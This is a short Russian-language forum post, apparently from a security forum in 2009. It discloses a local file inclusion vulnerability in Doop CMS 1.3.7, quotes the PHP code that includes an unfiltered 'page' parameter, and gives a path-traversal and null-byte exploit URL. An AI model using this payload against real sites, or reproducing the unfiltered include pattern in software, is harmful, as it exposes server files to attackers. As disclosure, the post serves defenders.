Показать сообщение отдельно

  #5  
Старый 08.11.2009, 15:47
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами: 8850336

Репутация: 330
По умолчанию

Doop CMS 1.3.7 LFI

Оффсайт: http://doop.infoauxis.com/
Для загразки почему то доступна только эта версия, предыдущих я не нашел.

Сама CMS достаточно проста, имеет всего навсего один скрипт.

Уязвимый код:

Код:
if (!isset($_REQUEST['page'])){
	$_REQUEST['page']=$homepage; 
	$cpage=$_REQUEST['page'];
} else { $cpage=$_REQUEST['page']; }
...
if ($admin == FALSE && !isset($_SESSION['name']) || isset($_REQUEST['preview'])){
	if (file_exists("pages/".$cpage.".htm")){
		include("pages/".$cpage.".htm");
	}
	else include("pages/".$cpage.".html");
}
Разработчики хоть и попытались "защититься" с помощю file_exists() и указанием папки, но совершенно забыли о фильтрации передаваемых значений.

Эксплатация:
Код:
http://localhost/cmss/index.php?page=../../../../file%00
 
Ответить с цитированием